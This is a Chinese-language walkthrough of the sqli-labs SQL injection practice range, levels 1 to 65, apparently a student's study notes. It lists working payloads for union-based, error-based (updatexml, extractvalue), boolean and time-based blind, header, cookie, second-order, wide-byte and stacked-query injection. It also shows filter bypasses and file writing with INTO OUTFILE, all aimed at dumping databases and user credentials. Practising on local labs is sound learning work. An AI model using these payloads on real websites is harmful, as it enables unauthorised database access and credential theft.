目录
1.less-1
首先由于是靶场,信息收集方面我们了解到数据库为mysql,用于靶场在本地搭建,所以操作系统是windos,中间件是apache,接下来观察页面,没有什么交互的地方,那我们猜测为get类型,然后我们就可以打开浏览器的hackbar,将url地址加入其中,进行注入。
这里我们在url地址后输入?id=1,出现了回显,那接下来使用单引号尝试注入,出现报错,而双引号正常回显,说明存在单引号注入,在单引号后面加入and '1'='1发现正常回显,这时并不能判断一定是单引号注入,在这里改变?id=1'中的数字,发现回显改变,才说明是单引号注入,这时我们就找到了注入点,为了书写方便,接下来我们将'1'='1删除,使用--+或者#将后面的代码注释,发现正常回显,接下来利用数据量语言尝试进行注入。
首先尝试使用order by语法进行注入,这个语法是用来判断列数的,用法是在order by 后加数字,例如?id=1' order by 1 --+,即是查询是否有第一列,在第一关中发现到4的时候报错,3的时候正常,说明一共有3列,接下来使用语法,union select联合查询,这里我们将id改为-1,由于之后使用了联合查询,回显中会出现联合查询中我们查询的信息,由于列数为3,所以将url地址改为
?id=-1' union select 1,2,3 --+
然后发现回显中出现了2,3.那么我们的搜索语法就写在2和3上才能显示出来,例如我们查询数据库名称
?id=-1' union select 1,database(),3 --+
?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata --+爆出所有数据库
接下来是表名,列名和具体信息
?id=-1 union select 1,group_concat(table_name),3 from information_schame.tables where table_schame=database() --+
?id=-1 union select 1,group_concat(column_name),3 from information_schame.columns where table_name='' and table_schame=database() --+
?id=-1 union select 1,usename,password, from 表的名字 --+
由此我们就可以查询到整个库的信息
2.less_2
第二关还是相同的方法,在尝试双引号和单引号之后都报错,这时我们考虑是否是数字型,不需要闭合,尝试代码
?id=1 and 1=1
发现正常回显
更改为?id=1 and 1=2 发现报错,说明后面的代码也被读取了
继续验证,更改为?id=2 and 1=1 发现回显改变为id=2时的数值,说明闭合成功
使用less1的方法验证--+注释符号依然可以使用,接下来就和less1一样了
3.less_3
与less1一样,只不过这次闭合的符号变成了')
验证的方法是我们在less1的过程中,发现输入?id=1' and '1'='1时,更改?id=的数字时,发现回显并没有改变,说明闭合并没有完成,这时候尝试在单引号外面加)看能否闭合,这时代码变成了
?id=1') and ('1')=('1
改变成这样后再次更改id后的数字,发现回显发生了变化,说明此时才闭合成功
4.less_4
与less3一样,只是闭合符号变成了")
5.less_5
靶场到这里发生了变化,我们发现回显变成了两种情况,一种是显示进入成功,一种是错误代码,从这里我们无法使用前四关使用的order by 和union select观察回显发现会报错,那我们就使用一种新的注入方法 ,有回显的报错注入
在我们判断完闭合之后,代码变成了
?id=1' --+
接下来我们可以使用两种报错方法
5.1 updatexml
用法
?id=-1' and updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1) --+
?id=-1' and updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name ='users'),0x5c),1) --+
?id=-1' and updatexml(1,concat(0x5c,(select username from users limit 0,1),0x5c),1) --+
5.2 extractvalue
用法
?id=-1' and extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
?id=-1' and extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name ='users'))) --+
?id=-1' and extractvalue(1,concat(0x5c,(select username from users limit 0,1))) --+
6.less_6
与less5相同,闭合由单引号变成双引号
7.less_7
这一关又产生了变化,我们发现回显只能给出是否正确,这里就要用到无回显报错注入,而于此同时,我们也通过less1寻找闭合的过程中发现
?id=1' --+
的时候报错,这个阶段可能有两种情况,一种是注释符号被过滤了,另一种情况是由于没有明确回显我们无法判断的是否还有括号,这里我都尝试了,发现都可以继续做下去。
7.1 方法1
这里我们假设注释符号被过滤了,就可以采用以下代码进行闭合
?id=1'and xxx and '1'='1
其中我们可以看到回显的正确与否,而and会连接三段代码,一个错全错,由此判断我们输入的代码是否正确,通过这个猜测数据库的内容,例如:
?id=1'and length(database())=1 and '1'='1
?id=1'and length(database())=8 and '1'='1
我们通过观察回显的正确与否,得出数据库的长度为8,其他代码如下
and ascii(substr((select database() from information_schema.schemata limit 0,1),1,1))=115 and '1'='1
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' and '1'='1
这里是否添加ascii无所谓,因为没有进行更多的过滤,直接猜测字母也可
7.2 方法2
第二种方法就是猜测注释符没有过滤,只是我们还没有完全将代码闭合,这里我利用
?id=1' --+
在单引号后面尝试,发现当代码为
?id=1')) --+时回显显示正确,说明这才是正确闭合
之后还是使用方法一的代码就行,只是闭合符号和最后的部分不一样了
8.less_8
第八关跟第七关方法一样,不过这次是真正的单引号闭合
9.less_9
第九关更是bt了,经过我们的测试,发现无论我们在id之后输入什么,页面上的回显都是一样的
这里我们就纯盲猜了,直接在url地址里输入以下代码
?id=1' and sleep(3) and '1'='1
这里是从单引号开始实验,发现页面三秒后才刷新,接下来输入代码
?id=1' and sleep(3) --+
发现依然会三秒后刷新,这里我们就能得出单引号确实可以闭合代码,而且注释符没有被过滤,接下来我们就和前两关思路相同,可以慢慢猜解,例:
?id=1'and if(length(database())=8,sleep(3),1)--+
10.less_10
第十关跟第九关一样,只是闭合的符号变成了双引号
11.less_11
第十一关很明显的发现,在网站上有了可以输入的界面,我们猜测http请求方法发生了变化,由get变成了post,后来经过抓包发现确实如此,还是使用hackbar,这里我们猜测注入点在用户名的输入部分,因为一般来说登录操作需要将输入的用户名密码放到数据库中进行查询核对,就有可能存在sql注入漏洞,使用我们在less1中学到的寻找漏洞的方法,我们找到了注入点,在body中的代码就变成了
passwd=admin&uname=admin'# &submit=Submit&
接下来我们在注入点中使用经典的order by 语句进行判断接下来就跟less1一样了
12.less_12
第十二关和十一关一样,经过实验发现闭合符号是")代码变成了
passwd=admin&uname=0") union select 1,2 --+ &submit=Submit
接下来使用less1的方法进行搜索
13.less_13
和less12一样,代码变成了
passwd=admin&uname=admin')--+&submit=Submit
14.less_14
和前几关相同,闭合符号变成了一个单独的双引号代码变为
passwd=admin&uname=admin"--+&submit=Submit
15.less_15
这里我们发现回显只有正确与否,这里使用报错注入,通过测试发现是用单引号闭合
这里使用盲注,而盲注分为时间盲注和布尔盲注
15.1 时间盲注
基本的代码如下
"and if((select count(table_name) from information_Schema.tables where table_schema=database())=6,sleep(5),1) --+ 这里是获取当前库的所有表数量,如果true,就会执行sleep延时,否则直接刷新
"and if((select length(table_name) from information_Schema.tables where table_schema=database() limit 0,1)=6,sleep(5),1) --+ 这里是获取当前库第一个表的字符长度,如果true,就会执行sleep延时,否则直接刷新
"and if(ascii(substr((select table_name from information_Schema.tables where table_schema=database() limit 0,1),1,1))=101,sleep(5),1) --+这里是获取当前库第一个表名的
and if(substr((select table_name from information_Schema.tables where table_schema=database() limit 0,1),1,1)=1,sleep(5),1)
第一个数字0表示偏移量(offset),即跳过的行数。在这个例子中,偏移量为0,表示从结果集的第一行开始。
第二个数字1表示要返回的行数,即要返回的记录数量。在这个例子中,返回的记录数量为1。
第三个数字1代表表的第几个字母
在本题中
passwd=admin&uname=admin'and if(length(database())=8,sleep(3),1)--+ &submit=Submit
如果数据库长度为8,那页面的刷新时间就会持续三秒
15.2 布尔盲注
基本代码如下
and ascii(substr((select database() from information_schema.schemata limit 0,1),1,1))=115
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+
and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1)1,1)='z'
substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)=101
在本题中我们使用第一种
passwd=admin&uname=admin'and ascii(substr((select database() from information_schema.schemata limit 0,1),1,1))=115 --+ &submit=Submit
发现回显成功,说明数据库第一个字母的ascii码的确是115,这样慢慢判断就可以得出数据库信息
16.less_16
与less_15大致相同,只是闭合符号变成了”)
17.less_17
这里发现注入点变成了password部分,闭合符号为’ 别的都和less11一样,闭合代码如下
passwd=admin'--+&uname=admin&submit=Submit
18.less_18
进入这一关之后,我们发现在输入正确的账号密码之后,回显中有正确的ip地址和us头,在试验过账号密码都无法注入之后,我们猜测可能注入点在us头里,现在进行抓包,对us头进行注入,将us头的内容变成单引号,通过回显我们发现在us头后面的内容是'ip','usename'而且带括号,由于我们将会用注释符号将后面的内容注释,所以我们要构造一个相似的形式
可以构造如下数据 1',2,3)# 任选一个数字代替,使用updataxml报错注入
(updatexml(1,concat(0x5c,(database()),0x5c),1))
(updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))
在本题中,我们将us头改变成1',2,(updatexml(1,concat(0x5c,(database()),0x5c),1)))#
结果就会显示在回显上
19.less_19
这里发现回显中出现了referer,在常规用户密码注入之后我们尝试镜像referer中注入
这里我们观察到回显的报错中有两个参数,这里我们进行构造
1',2)# 任选一个数字代替,使用updataxml报错注入代码如下
1',(updatexml(1,concat(0x5c,(database()),0x5c),1)))#
20.less_20
这里暴露出来了cookie,我们直接尝试用cookie进行注入
Cookie:uname=admin'and updatexml(1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)
21.less_21
在信息中出现cookie时还有一种情况就是发现cookie是一串编码,如果判断出来是base64编码,所以我们可以将单引号进行编码jw==可以发现报错并且还得有括号。将注入代码进行编码,可以看到爆出账户密码【')and updatexml (1,concat(0x5c,(select group_concat(username,password) from users),0x5c),1)#】对这个进行编码,多一个括号
22.less_22
本题与less21不同的地方在于是双引号闭合不加括号
23.less_23
这里我们通过
http://127.0.0.1/sqli/Less-23/?id=1' and '1'='1
判断出闭合符号为单引号,但是发现换成注释符号的时候报错,说明注释符号被过滤,那就用这种形式就可以
24.less_24
本题目主要讲的是二次注入相关的知识,原理如下
例如在本来的账户密码库里存在用户名为admin的用户,此时我们注册一个新的用户,例如admin#,此时在存入的时候并没有对用户名进行很好的过滤,直接存进去了,而在我们更改用户名为admin#的密码时,数据库从在存储中查找,但是#在数据库中是注释符号,所以在更改密码的时候会连同用户名为admin的用户密码一起改变
25.less_25
本题主要是考察过滤,在输入
http://127.0.0.1/sqli/Less-25/?id=2'and 1=1--+
后,在页面下方发现and被过滤,这时我们可以采用复写的方法绕过顾虑
http://127.0.0.1/sqli/Less-25/?id=2'anandd 1=1--+
此时如果使用or也可以用oorr来绕过
25.1 less_25a
与less25是一样的,and被过滤掉了,区别在于本题是数字型注入,不需要闭合
26.less_26
本题过滤掉的东西就相当多,首先我们进行基础注入程序,发现闭合符号是单引号,接下来在页面下方的显示中发现and空格和注释符号被过滤,这里and我们还是使用anandd来绕过,注释符号依然使用'1'='1代替,而空格就很难解决,我看网上说用%a0代替,但是我用了没有效果,还有人将可以用%2b所代指的+来代替闭合,但是其实需要对代码有很好的闭合,这里我们为了不使用空格,首先使用报错注入,空格and空格用||来代替,代码如下
?id=2'||(updatexml(1,concat(0x5c,database(),0x5c),1))||'2'='2
这样我们在不是用空格的情况下就爆出了数据库名称,剩下的按部就班爆破就行
26.1 less_26a
这里我们得出他的闭合符号是单引号和括号但是在使用报错注入时发现无法正常使用,这时我们可以尝试使用延时注入,而在本题中&被过滤了(%26会被编译为&,其中||是或的意思而&&是与的意思)
?id=2')%26%26if(length(database())=8,sleep(5),1)%26%26('1')=('1
在这里查询方法时,还学到了一种新的注释方法 ;%00
27.less_27
常规注入发现是单引号注入,这里不允许使用联合注入,我们接着使用时间盲注就行,顺便可以用上上一关刚学的闭合方法
通过此关一共有两种方法,一种是盲注判断,不用考虑过滤,另外一种就是通过%0a代替空格,然后使用大小写变换绕过过滤
?id=2'%26%26if(length(database())=8,sleep(5),1);%00进行盲注判断
?id=0'%0aUnioN%0aSelEct%0a1,database(),3%0aand'1'='1
27.1 less_27a
跟less27的区别在于闭合方式变成了双引号
28.less_28
单引号注入
过滤符号
空格:采用%0a绕过,会导致识别出特殊字符,采用**%0A**换行绕过
union: uni 换行 union %0A selecton
select: select
实验出下面所示代码经过过滤可以显示出指令
?id=0')uni union%0Aselecton%0Aselect%0A1,database(),3%0Aand%0A('1
?id=0')uni union%0Aselecton%0Aselect%0A1,2,group_concat(password,username)from%0Asecurity.users%0A ;%00
28.1 less_28a
union的过滤形式发生了变化,不再增加空格了
http://127.0.0.1/sqli/Less-28a/?id=0')uniunion%0Aselecton%0Aselect%0A1,2,3%0Aand%0A('1
29.less_29
看标题这关考核waf绕过,但不知道为什么没有发现需要绕过的地方在哪里,这关就变成了没有过滤的普通单引号注入
30.less_30
这关也是一样变成了双引号注入
31.less_31
这关变成了双引号加括号注入
32.less_32
这关开始变得不一样了,在输入单引号之后,发现在页面下面的回显中发现单引号被自动添加了一条斜杠,这里我们要用到宽字节注入
addslashes()会在单引号前加一个\ 例如:I'm hacker 传入addslashes(),得到:I\'m hacker
本题想以此阻止sql注入语句闭合,但是可以使用宽字节绕过:
原理大概来说就是,一个双字节组成的字符,比如一个汉字‘我’的utf8编码为%E6%88%91 当我们使用?id=-1%E6' 这样的构造时,' 前面加的 \ 就会和%E6 合在一起,但是又不是一个正常汉字,但是起到了注掉 \ 的作用,库
payload
?id=-1%E6' union select 1,version(),database() --+
爆列名的时候卡了一下,分析半天语句最后想起来了, 'users' 这里有单引号。
使用十六进制编码就可以绕过了''使用0x 代替,users 使用十六进制编码得到7573657273,构造为0x7573657273
33.less_33
这关基本上和less_32一模一样
34.less_34
这关换成了post类型,但是还是只需要注意宽字节注入就行
35.less_35
本关压根不需要引号闭合,所以正常注入就行,也没有过滤
36.less_36
这关又和less32一样了
37.less_37
这关又和34关一样
38.less_38
这关甚至又变成了单引号注入,但是其实考察的点在于堆叠注入
39.less_39
这关也是堆叠,不用闭合
40.less_40
闭合符号为单引号加括号的堆叠注入
41.less_41
无闭合堆叠注入
42.less_42
43.less_43
44.less_44
45.less_45
从less42到less45全部都是在post类型的堆叠注入,这里不再赘述
46.less_46
1,拼接报错注入
?sort=1 and extractvalue(1,(concat(0x7e,(select group_concat(flag4s)from(ctfshow.flags)),0x7e)))--+
?sort=extractvalue(0x7e,concat(0x7e,(select group_concat(flag4s)from(ctfshow.flags))))--+
?sort=extractvalue(0x0a,concat(0x0a,(select group_concat(flag4s)from(ctfshow.flags))))-- +
2,盲注
?sort=3 and if((length(database())=8),1,sleep(5))--+
?sort=rand(left(database(),1)>'r')
?sort=rand(if(ascii(substr(database(),1,1))>115,1,sleep(1)))
3,写入文件
?sort=1 into outfile "/var/www/html/x.txt"
t52
?sort=-1;insert into users(id,username,password) values ('17',(select database()),'I love 36D too')
47.less_47
48.less_48
49.less_49
50.less_50
51.less_51
52.less_52
53.less_53
到这里为止全是sort的用法练习,语法已经都在less1和less46里了,之前post和get类型我们也已经练习了很多次了
54.less_54
从这关开始我们开始做挑战,其实都不难,因为都没什么过滤,我认为还没有前面的难,大家多试一试
这一关就是less1
55.less_55
这关就是一个单括号闭合
56.less_56
单引号加括号闭合
57.less_57
双引号闭合
58.less_58
不能用联合查询,那用报错查询
59.less_59
无闭合报错查询
60less_60
闭合符号是双引号括号的报错注入
61.less_61
闭合符号是单引号加两个括号报错注入
62.less_62
闭合符号是单引号加括号,但是这里用不了报错注入了,联合注入也用不了,先尝试盲注的报错
?id=2') and substr((database()),1,1)='c' --+
测出数据库第一个字母是c,慢慢测就行
63.less_63
和less62一样的方法,闭合符号变成了单独一个单引号
64.less_64
这里的闭合符号是两个括号,还用less62的方法一个一个实验
65.less_65
闭合使用的是双引号加括号,还用less62的方法一个个实验